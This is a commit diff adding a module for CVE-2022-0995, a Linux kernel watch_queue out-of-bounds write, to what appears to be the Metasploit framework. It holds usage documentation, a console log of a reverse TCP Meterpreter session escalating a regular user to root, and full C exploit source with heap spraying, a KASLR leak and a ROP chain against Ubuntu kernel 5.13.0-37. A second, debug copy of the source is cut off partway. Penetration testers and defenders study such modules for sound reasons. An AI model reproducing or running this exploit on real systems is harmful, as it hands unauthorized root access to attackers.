Land #1642, Add module for cve-2022-0995
This commit is contained in:
commit
e2c6c36b2b
Binary file not shown.
|
@ -0,0 +1,159 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits a vulnerability in the Linux Kernel's watch_queue event
|
||||
notification system. It relies on a heap out-of-bounds write in kernel memory.
|
||||
The exploit may fail on the first attempt so multiple attempts may be needed.
|
||||
Note that the exploit can potentially cause a denial of service if multiple
|
||||
failed attemps occur, however this is unlikely.
|
||||
|
||||
### Install
|
||||
|
||||
The vulnerability exists in linux kernel versions up to 5.17 rc8; this module only contains offsets for Ubuntu 21.10
|
||||
kernel 5.13.0-37. More offsets may be added later.
|
||||
|
||||
Install Ubuntu 21.10
|
||||
`apt-get install linux-image-5.13.0-37-generic`
|
||||
Hold shift when you reboot and select the proper kernel version
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Make an Ubuntu target.
|
||||
1. Create a Meterpreter or shell payload and upload it to the Ubuntu target.
|
||||
1. Set up a handler for the payload.
|
||||
1. Launch the payload as a regular user on the Ubuntu target.
|
||||
1. Do: `use exploit/linux/local/cve_2022_0995_watch_queue`
|
||||
1. Do: `set payload <payload>`
|
||||
1. Do: `set lhost <ip>`
|
||||
1. Do: `set [r|l]port <port>`
|
||||
1. Do: `run`
|
||||
1. You should get a new shell as the `root` user.
|
||||
|
||||
## Options
|
||||
|
||||
### COMPILE
|
||||
|
||||
[Auto|True|False] This selects the binary to use. `True` will cause the module to upload the source
|
||||
code and perform compilation on target, `False` will cause the module to upload a precompiled binary.
|
||||
`Auto` will cause the module to try compiling the exploit on the target but will fall back to the
|
||||
precompiled option if a compiler cannot be found.
|
||||
|
||||
### DEBUG_SOURCE
|
||||
[True|False] This selects whether or not the module should use source code with debug prints when
|
||||
uploading and compiling on disk. If set to `True` the module will use source code with prints
|
||||
that assist with troubleshooting failed exploits. If set to `False` the module will use source code
|
||||
without these debug statements/prints. Note if it is not possible to compile the code on the target,
|
||||
the precompiled binary will be used which has no debug print statements.
|
||||
|
||||
### WritableDir
|
||||
This indicates the location where you would like the payload and exploit binary stored, as well
|
||||
as serving as a location to store the various files and directories created by the exploit itself.
|
||||
The default value is `/tmp`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 21.10 x64 With Linux 5.13.0.37-Generic
|
||||
|
||||
```
|
||||
msf6 payload(linux/x64/meterpreter/reverse_tcp) >
|
||||
[*] Started reverse TCP handler on 10.5.135.101:4567
|
||||
[*] Sending stage (3020772 bytes) to 10.5.134.157
|
||||
[*] Meterpreter session 1 opened (10.5.135.101:4567 -> 10.5.134.157:34614 ) at 2022-04-12 21:04:39 -0500
|
||||
|
||||
msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 10.5.134.157
|
||||
OS : Ubuntu 21.10 (Linux 5.13.0-37-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: msfuser
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf6 payload(linux/x64/meterpreter/reverse_tcp) > use exploit/linux/local/cve_2022_0995_watch_queue
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/local/cve_2022_0995_watch_queue) > show options
|
||||
|
||||
Module options (exploit/linux/local/cve_2022_0995_watch_queue):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
|
||||
DEBUG_SOURCE false no Use source code with debug prints to help troubleshoot
|
||||
SESSION yes The session to run this module on
|
||||
|
||||
|
||||
Payload options (linux/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 10.5.135.101 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Ubuntu Linux 5.13.0-37
|
||||
|
||||
|
||||
msf6 exploit(linux/local/cve_2022_0995_watch_queue) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(linux/local/cve_2022_0995_watch_queue) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/local/cve_2022_0995_watch_queue) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module:
|
||||
[!] * missing Meterpreter features: stdapi_railgun_api
|
||||
[*] Started reverse TCP handler on 10.5.135.101:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Version array: ["5.13.0", "37", "generic"]
|
||||
[*] major_version: 5.13.0
|
||||
[*] minor_version: 37
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Version array: ["5.13.0", "37", "generic"]
|
||||
[*] major_version: 5.13.0
|
||||
[*] minor_version: 37
|
||||
[*] Creating directory /tmp/.nILfP259
|
||||
[*] /tmp/.nILfP259 created
|
||||
[+] gcc is installed
|
||||
[*] Live compiling exploit on system...
|
||||
[*] Writing '/tmp/.nILfP259/.7BZngDv' (250 bytes) ...
|
||||
[*] Launching exploit...
|
||||
[*] Running: /tmp/.nILfP259/.gJKqSJssjC /tmp/.nILfP259/.7BZngDv
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3020772 bytes) to 10.5.134.157
|
||||
[+] Deleted /tmp/.nILfP259/.gJKqSJssjC
|
||||
[+] Deleted /tmp/.nILfP259
|
||||
[*] Meterpreter session 2 opened (10.5.135.101:4444 -> 10.5.134.157:50382 ) at 2022-04-12 21:05:25 -0500
|
||||
[*]
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 10.5.134.157
|
||||
OS : Ubuntu 21.10 (Linux 5.13.0-37-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Notes
|
||||
|
||||
### Included Binaries
|
||||
The binary used by this exploit `data/exploits/CVE-2022-0995/cve_2021_3493.x64.elf` can be used separately from
|
||||
Metasploit. The binary takes a single argument which is the payload or executable you wish to launch as `root`.
|
||||
|
||||
The following snippet shows an example of how one might run this binary with the `/bin/bash` executable to get
|
||||
a new Bash shell as the `root` user.
|
||||
|
||||
```
|
||||
msfuser@msfuser-virtual-machine:~$ id
|
||||
uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
|
||||
msfuser@msfuser-virtual-machine:~$ ./cve_2021_3493.x64.elf /bin/bash
|
||||
root@msfuser-virtual-machine:~$
|
||||
```
|
|
@ -0,0 +1,445 @@
|
|||
#define _GNU_SOURCE
|
||||
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <sched.h>
|
||||
#include <pthread.h>
|
||||
#include <poll.h>
|
||||
#include <assert.h>
|
||||
#include <time.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <linux/sched.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/socket.h>
|
||||
#include <linux/watch_queue.h>
|
||||
|
||||
#define MSGMSG_SPRAY 2000
|
||||
#define MSGMSG_FREE_IDX_0 0
|
||||
#define MSGMSG_FREE_IDX_1 1950
|
||||
#define MTYPE_PRIMARY 0x41
|
||||
#define MTYPE_SECONDARY 0x42
|
||||
#define MTYPE_FAKE 0x43
|
||||
#define PRIMARY_SIZE 96
|
||||
#define SECONDARY_SIZE 1024
|
||||
#define N_SOCKS 4
|
||||
#define N_SKBUFFS 128
|
||||
#define NUM_PIPEFDS 256
|
||||
#define CORRUPT_MSGMSG_TRIES 50
|
||||
|
||||
char* exec_path;
|
||||
|
||||
typedef struct {
|
||||
long mtype;
|
||||
char mtext[1];
|
||||
} msg;
|
||||
|
||||
typedef struct {
|
||||
uint64_t m_list_next;
|
||||
uint64_t m_list_prev;
|
||||
uint64_t m_type;
|
||||
uint64_t m_ts;
|
||||
uint64_t next;
|
||||
uint64_t security;
|
||||
} msg_msg;
|
||||
|
||||
struct pipe_buffer {
|
||||
uint64_t page;
|
||||
uint32_t offset, len;
|
||||
uint64_t ops;
|
||||
uint32_t flags;
|
||||
uint64_t prv;
|
||||
};
|
||||
|
||||
struct pipe_buf_operations {
|
||||
uint64_t confirm;
|
||||
uint64_t release;
|
||||
uint64_t try_steal;
|
||||
uint64_t get;
|
||||
};
|
||||
|
||||
int32_t make_queue(key_t key, int msgflg) {
|
||||
int32_t result;
|
||||
if ((result = msgget(key, msgflg)) == -1) {
|
||||
exit(-1);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) {
|
||||
ssize_t ret;
|
||||
ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
|
||||
if (ret < 0) {
|
||||
exit(-1);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) {
|
||||
return msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
|
||||
}
|
||||
|
||||
void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg) {
|
||||
if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) {
|
||||
exit(-1);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
void shell() {
|
||||
syscall(SYS_execve, exec_path, 0, 0);
|
||||
}
|
||||
//void shell();
|
||||
|
||||
// Ubuntu kernel 5.13.0-37-generic
|
||||
// 0xffffffff813c6866 : push rsi ; mov edx, 0x415b00c3 ; pop rsp ; pop rbp ; ret
|
||||
uint64_t PUSH_RSI_POP_RSP_RBP_RET = 0xffffffff813c6866 - 0xffffffff81000000;
|
||||
// 0xffffffff8109507d: pop r12; pop r15; ret;
|
||||
uint64_t POP_POP_RET = 0xffffffff8109507d - 0xffffffff81000000;
|
||||
// 0xffffffff81095080: pop rdi; ret;
|
||||
uint64_t POP_RDI_RET = 0xffffffff81095080 - 0xffffffff81000000;
|
||||
// 0xffffffff81509a39: xor dh, dh; ret;
|
||||
uint64_t XOR_DH_DH_RET = 0xffffffff81509a39 - 0xffffffff81000000;
|
||||
// 0xffffffff815c0d54: mov rdi, rax; jne 0x7c0d41; xor eax, eax; ret;
|
||||
uint64_t MOV_RDI_RAX_JNE_RET = 0xffffffff815c0d54 - 0xffffffff81000000;
|
||||
uint64_t KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ = 0xffffffff81e0100b - 0xffffffff81000000;
|
||||
uint64_t PREPARE_KERNEL_CRED = 0xffffffff810d45d0 - 0xffffffff81000000;
|
||||
uint64_t COMMIT_CREDS = 0xffffffff810d4370 - 0xffffffff81000000;
|
||||
uint64_t ANON_PIPE_BUF_OPS = 0xffffffff8223ffc0 - 0xffffffff81000000;
|
||||
|
||||
uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip = (uint64_t)shell;
|
||||
uint64_t kaslr_base = -1;
|
||||
|
||||
typedef struct watch_notification_type_filter wntf_t;
|
||||
typedef struct watch_notification_filter wnf_t;
|
||||
|
||||
int spray_qids[MSGMSG_SPRAY];
|
||||
int ss[N_SOCKS][2];
|
||||
int pipe_fds[NUM_PIPEFDS][2];
|
||||
|
||||
unsigned int real_idx = -1, corrupted_idx = -1;
|
||||
|
||||
/*
|
||||
spray using msg_msg
|
||||
*/
|
||||
void spray_msgmsg() {
|
||||
char buffer[0x2000] = {0};
|
||||
msg *message = (msg *)buffer;
|
||||
|
||||
for (int i = 0; i < MSGMSG_SPRAY; i++) {
|
||||
int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
spray_qids[i] = spray;
|
||||
memset(buffer, 0x42, sizeof(buffer));
|
||||
|
||||
((unsigned long*)message->mtext)[0] = i;
|
||||
((unsigned long*)message->mtext)[5] = 0x0; // later this will probably be a msg_msgseg.next, we want it 0x0
|
||||
|
||||
message->mtype = MTYPE_PRIMARY;
|
||||
send_msg(spray, message, PRIMARY_SIZE - 0x30, 0); // Each queue has 1 96 and 1 1024 msg_msg
|
||||
|
||||
if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1)
|
||||
continue;
|
||||
|
||||
message->mtype = MTYPE_SECONDARY;
|
||||
send_msg(spray, message, SECONDARY_SIZE - 0x30, 0); // queue --next-> 96 --next-> 1024 <-queue--
|
||||
}
|
||||
}
|
||||
|
||||
void delete_msgmsg(int i, int sz, long mtype) {
|
||||
char buf[0x2000] = {0};
|
||||
get_msg(spray_qids[i], buf, sz - 0x30, mtype, IPC_NOWAIT);
|
||||
}
|
||||
|
||||
void check_corruption() {
|
||||
char buf[0x2000] = {0};
|
||||
msg *message = (msg *)buf;
|
||||
|
||||
for (int i = 0; i < MSGMSG_SPRAY; i++) {
|
||||
if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1)
|
||||
continue;
|
||||
|
||||
get_msg(spray_qids[i], buf, SECONDARY_SIZE - 0x30, 1, MSG_COPY|IPC_NOWAIT);
|
||||
|
||||
if (((uint64_t*)message->mtext)[0] != i) {
|
||||
real_idx = i;
|
||||
corrupted_idx = ((uint64_t*)message->mtext)[0];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void cleanup_msgmsg() {
|
||||
for (int i = 0; i < MSGMSG_SPRAY; i++) {
|
||||
if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1 || i == real_idx || i == corrupted_idx)
|
||||
continue;
|
||||
|
||||
msgctl(spray_qids[i], IPC_RMID, NULL);
|
||||
}
|
||||
}
|
||||
/* */
|
||||
|
||||
/*
|
||||
kmalloc-1024 spray using skbuff
|
||||
*/
|
||||
int spray_skbuff(int ss[N_SOCKS][2], const void *buf, size_t size) {
|
||||
for (int i = 0; i < N_SOCKS; i++) {
|
||||
for (int j = 0; j < N_SKBUFFS; j++) {
|
||||
if (write(ss[i][0], buf, size) < 0) {
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int free_skbuff(int ss[N_SOCKS][2], void *buf, size_t size) {
|
||||
for (int i = 0; i < N_SOCKS; i++) {
|
||||
for (int j = 0; j < N_SKBUFFS; j++) {
|
||||
if (read(ss[i][1], buf, size) < 0) {
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
/* */
|
||||
|
||||
void build_msgmsg(void* msg, uint64_t list_next, uint64_t list_prev, uint64_t next, uint64_t m_ts, uint64_t security, uint64_t mtype) {
|
||||
((msg_msg*)msg)->m_list_next = list_next;
|
||||
((msg_msg*)msg)->m_list_prev = list_prev;
|
||||
((msg_msg*)msg)->next = next;
|
||||
((msg_msg*)msg)->m_ts = m_ts;
|
||||
((msg_msg*)msg)->security = security;
|
||||
((msg_msg*)msg)->m_type = mtype;
|
||||
}
|
||||
|
||||
void build_rop(uint64_t* rop) {
|
||||
int k = 0;
|
||||
rop[k++] = 0x0; // dummy rbp
|
||||
rop[k++] = POP_POP_RET + kaslr_base; // skip pipe_buf->ops
|
||||
rop[k++] = 0x0; // pipe_buf->ops
|
||||
rop[k++] = 0x0; // dummy
|
||||
rop[k++] = POP_RDI_RET + kaslr_base;
|
||||
rop[k++] = 0x0; // rdi
|
||||
rop[k++] = PREPARE_KERNEL_CRED + kaslr_base;
|
||||
rop[k++] = XOR_DH_DH_RET + kaslr_base;
|
||||
rop[k++] = MOV_RDI_RAX_JNE_RET + kaslr_base;
|
||||
rop[k++] = COMMIT_CREDS + kaslr_base;
|
||||
rop[k++] = KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ + kaslr_base;
|
||||
rop[k++] = 0x0; // rax
|
||||
rop[k++] = 0x0; // rdi
|
||||
rop[k++] = user_rip; // user_rip
|
||||
rop[k++] = user_cs; // user_cs
|
||||
rop[k++] = user_rflags; // user_rflags
|
||||
rop[k++] = user_sp; // user_sp
|
||||
rop[k++] = user_ss; // user_ss
|
||||
}
|
||||
|
||||
void save_state() {
|
||||
__asm__(
|
||||
".intel_syntax noprefix;"
|
||||
"mov user_cs, cs;"
|
||||
"mov user_ss, ss;"
|
||||
"mov user_sp, rsp;"
|
||||
"pushf;"
|
||||
"pop user_rflags;"
|
||||
".att_syntax;"
|
||||
);
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
if (argc != 2){
|
||||
exit(1);
|
||||
}
|
||||
exec_path = argv[1];
|
||||
// Assign to cpu 0
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
save_state();
|
||||
|
||||
int fds[2];
|
||||
int nfilters = 4;
|
||||
char buf[0x2000];
|
||||
char secondary_buf[SECONDARY_SIZE - 0x140];
|
||||
|
||||
// Filter setup
|
||||
wnf_t *filter = (wnf_t*)calloc(1, sizeof(wnf_t) + nfilters * sizeof(wntf_t));
|
||||
if (!filter) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/*
|
||||
STEP 1
|
||||
Spray msg_msg: for each queue one msg in kmalloc-96 and one in kmalloc-1024
|
||||
Corrupt a msg_msg.mlist.next in kmalloc-96, so that two msg_msg points to the same msg_msg in kmalloc-1024
|
||||
*/
|
||||
|
||||
int ntries = 0;
|
||||
|
||||
do {
|
||||
ntries++;
|
||||
|
||||
filter->nr_filters = nfilters;
|
||||
for (int i = 0; i < (nfilters - 1); i++) { // choose kmalloc-96
|
||||
filter->filters[i].type = 1;
|
||||
}
|
||||
|
||||
// Set 1 bit oob to 1, hopefully we overwrite a msg_msg.mlist.next which is not 2k aligned
|
||||
filter->filters[nfilters - 1].type = 0x30a; // 0x300 -> 96 bytes oob, 0xa -> 2**10 == 1024
|
||||
|
||||
if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Spray kmalloc-96
|
||||
spray_msgmsg();
|
||||
delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY); // kmalloc
|
||||
delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY); // memdup
|
||||
|
||||
// Filter go
|
||||
if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) {
|
||||
goto err;
|
||||
}
|
||||
|
||||
check_corruption();
|
||||
|
||||
if (corrupted_idx != -1)
|
||||
break;
|
||||
|
||||
cleanup_msgmsg();
|
||||
} while (ntries < CORRUPT_MSGMSG_TRIES);
|
||||
|
||||
if (corrupted_idx == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
delete_msgmsg(corrupted_idx, SECONDARY_SIZE, MTYPE_SECONDARY);
|
||||
|
||||
for (int i = 0; i < N_SOCKS; i++) {
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
|
||||
goto err;
|
||||
}
|
||||
}
|
||||
|
||||
memset(secondary_buf, 0x42, sizeof(secondary_buf));
|
||||
build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, 0x0, 8192 - 0x30, 0x0, MTYPE_FAKE);
|
||||
|
||||
spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
|
||||
|
||||
memset(buf, 0x0, sizeof(buf));
|
||||
get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY);
|
||||
|
||||
uint64_t primary_msg = ((uint64_t*)buf)[124];
|
||||
if ((primary_msg & 0xffff000000000000) != 0xffff000000000000) {
|
||||
goto err;
|
||||
}
|
||||
|
||||
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
|
||||
|
||||
memset(secondary_buf, 0x42, sizeof(secondary_buf));
|
||||
build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, primary_msg - 8, 8192 - 0x30, 0x0, MTYPE_FAKE);
|
||||
|
||||
spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
|
||||
|
||||
memset(buf, 0x0, sizeof(buf));
|
||||
get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY);
|
||||
|
||||
uint64_t secondary_msg = ((uint64_t*)buf)[507];
|
||||
if ((secondary_msg & 0xffff000000000000) != 0xffff000000000000) {
|
||||
goto err;
|
||||
}
|
||||
|
||||
uint64_t fake_secondary_msg = secondary_msg - SECONDARY_SIZE;
|
||||
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
|
||||
|
||||
build_msgmsg(secondary_buf, fake_secondary_msg, fake_secondary_msg, 0x0, SECONDARY_SIZE - 0x30, 0x0, MTYPE_FAKE);
|
||||
|
||||
spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
|
||||
|
||||
delete_msgmsg(real_idx, SECONDARY_SIZE, MTYPE_FAKE);
|
||||
|
||||
/*
|
||||
STEP 2
|
||||
Spray struct pipe_buffer, leak KASLR while reading and freeing sk_buffs
|
||||
*/
|
||||
|
||||
for (int i = 0; i < NUM_PIPEFDS; i++) {
|
||||
if (pipe(pipe_fds[i]) < 0) {
|
||||
goto err;
|
||||
}
|
||||
|
||||
if (write(pipe_fds[i][1], "A", 1) < 0) {
|
||||
goto err;
|
||||
}
|
||||
}
|
||||
|
||||
memset(secondary_buf, 0x0, sizeof(secondary_buf));
|
||||
|
||||
for (int i = 0; i < N_SOCKS; i++) {
|
||||
for (int j = 0; j < N_SKBUFFS; j++) {
|
||||
if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
|
||||
goto err;
|
||||
}
|
||||
|
||||
if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
|
||||
kaslr_base = ((uint64_t*)secondary_buf)[2];
|
||||
}
|
||||
}
|
||||
|
||||
if (kaslr_base == -1 || ((kaslr_base & 0xffffffff00000000) != 0xffffffff00000000)) {
|
||||
goto err;
|
||||
}
|
||||
|
||||
kaslr_base -= ANON_PIPE_BUF_OPS;
|
||||
|
||||
/*
|
||||
STEP 3
|
||||
Reallocate struct pipe_buffer overwrite _ops pointer and do stack pivoting
|
||||
*/
|
||||
|
||||
struct pipe_buf_operations *ops;
|
||||
struct pipe_buffer *pipe_buf;
|
||||
|
||||
memset(secondary_buf, 0x0, sizeof(secondary_buf));
|
||||
|
||||
pipe_buf = (struct pipe_buffer*)secondary_buf;
|
||||
ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
|
||||
ops->release = PUSH_RSI_POP_RSP_RBP_RET + kaslr_base;
|
||||
|
||||
build_rop((uint64_t*)secondary_buf);
|
||||
|
||||
pipe_buf->ops = fake_secondary_msg + 0x290;
|
||||
|
||||
spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
|
||||
|
||||
cleanup_msgmsg();
|
||||
|
||||
for (int i = 0; i < NUM_PIPEFDS; i++) {
|
||||
if (close(pipe_fds[i][0]) < 0) {
|
||||
goto err;
|
||||
}
|
||||
if (close(pipe_fds[i][1]) < 0) {
|
||||
goto err;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
|
||||
err:
|
||||
cleanup_msgmsg();
|
||||
return 1;
|
||||
}
|
||||
|
|
@ -0,0 +1,488 @@
|
|||
#define _GNU_SOURCE
|
||||
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <sched.h>
|
||||
#include <pthread.h>
|
||||
#include <poll.h>
|
||||
#include <assert.h>
|
||||
#include <time.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <linux/sched.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/socket.h>
|
||||
#include <linux/watch_queue.h>
|
||||
|
||||
#define MSGMSG_SPRAY 2000
|
||||
#define MSGMSG_FREE_IDX_0 0
|
||||
#define MSGMSG_FREE_IDX_1 1950
|
||||
#define MTYPE_PRIMARY 0x41
|
||||
#define MTYPE_SECONDARY 0x42
|
||||
#define MTYPE_FAKE 0x43
|
||||
#define PRIMARY_SIZE 96
|
||||
#define SECONDARY_SIZE 1024
|
||||
#define N_SOCKS 4
|
||||
#define N_SKBUFFS 128
|
||||
#define NUM_PIPEFDS 256
|
||||
#define CORRUPT_MSGMSG_TRIES 50
|
||||
|
||||
char* exec_path;
|
||||
|
||||
typedef struct {
|
||||
long mtype;
|
||||
char mtext[1];
|
||||
} msg;
|
||||
|
||||
typedef struct {
|
||||
uint64_t m_list_next;
|
||||
uint64_t m_list_prev;
|
||||
uint64_t m_type;
|
||||
uint64_t m_ts;
|
||||
uint64_t next;
|
||||
uint64_t security;
|
||||
} msg_msg;
|
||||
|
||||
struct pipe_buffer {
|
||||
uint64_t page;
|
||||
uint32_t offset, len;
|
||||
uint64_t ops;
|
||||
uint32_t flags;
|
||||
uint64_t prv;
|
||||
};
|
||||
|
||||
struct pipe_buf_operations {
|
||||
uint64_t confirm;
|
||||
uint64_t release;
|
||||
uint64_t try_steal;
|
||||
uint64_t get;
|
||||
};
|
||||
|
||||
int32_t make_queue(key_t key, int msgflg) {
|
||||
int32_t result;
|
||||
if ((result = msgget(key, msgflg)) == -1) {
|
||||
perror("msgget failure");
|
||||
exit(-1);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) {
|
||||
ssize_t ret;
|
||||
ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
|
||||
if (ret < 0) {
|
||||
perror("msgrcv");
|
||||
exit(-1);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) {
|
||||
return msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
|
||||
}
|
||||
|
||||
void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg) {
|
||||
if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) {
|
||||
perror("msgsend failure");
|
||||
exit(-1);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
void shell() {
|
||||
syscall(SYS_execve, exec_path, 0, 0);
|
||||
}
|
||||
//void shell();
|
||||
|
||||
// Ubuntu kernel 5.13.0-37-generic
|
||||
// 0xffffffff813c6866 : push rsi ; mov edx, 0x415b00c3 ; pop rsp ; pop rbp ; ret
|
||||
uint64_t PUSH_RSI_POP_RSP_RBP_RET = 0xffffffff813c6866 - 0xffffffff81000000;
|
||||
// 0xffffffff8109507d: pop r12; pop r15; ret;
|
||||
uint64_t POP_POP_RET = 0xffffffff8109507d - 0xffffffff81000000;
|
||||
// 0xffffffff81095080: pop rdi; ret;
|
||||
uint64_t POP_RDI_RET = 0xffffffff81095080 - 0xffffffff81000000;
|
||||
// 0xffffffff81509a39: xor dh, dh; ret;
|
||||
uint64_t XOR_DH_DH_RET = 0xffffffff81509a39 - 0xffffffff81000000;
|
||||
// 0xffffffff815c0d54: mov rdi, rax; jne 0x7c0d41; xor eax, eax; ret;
|
||||
uint64_t MOV_RDI_RAX_JNE_RET = 0xffffffff815c0d54 - 0xffffffff81000000;
|
||||
uint64_t KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ = 0xffffffff81e0100b - 0xffffffff81000000;
|
||||
uint64_t PREPARE_KERNEL_CRED = 0xffffffff810d45d0 - 0xffffffff81000000;
|
||||
uint64_t COMMIT_CREDS = 0xffffffff810d4370 - 0xffffffff81000000;
|
||||
uint64_t ANON_PIPE_BUF_OPS = 0xffffffff8223ffc0 - 0xffffffff81000000;
|
||||
|
||||
uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip = (uint64_t)shell;
|
||||
uint64_t kaslr_base = -1;
|
||||
|
||||
typedef struct watch_notification_type_filter wntf_t;
|
||||
typedef struct watch_notification_filter wnf_t;
|
||||
|
||||
int spray_qids[MSGMSG_SPRAY];
|
||||
int ss[N_SOCKS][2];
|
||||
int pipe_fds[NUM_PIPEFDS][2];
|
||||
|
||||
unsigned int real_idx = -1, corrupted_idx = -1;
|
||||
|
||||
/*
|
||||
spray using msg_msg
|
||||
*/
|
||||
void spray_msgmsg() {
|
||||
char buffer[0x2000] = {0};
|
||||
msg *message = (msg *)buffer;
|
||||
|
||||
for (int i = 0; i < MSGMSG_SPRAY; i++) {
|
||||
int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
spray_qids[i] = spray;
|
||||
memset(buffer, 0x42, sizeof(buffer));
|
||||
|
||||
((unsigned long*)message->mtext)[0] = i;
|
||||
((unsigned long*)message->mtext)[5] = 0x0; // later this will probably be a msg_msgseg.next, we want it 0x0
|
||||
|
||||
message->mtype = MTYPE_PRIMARY;
|
||||
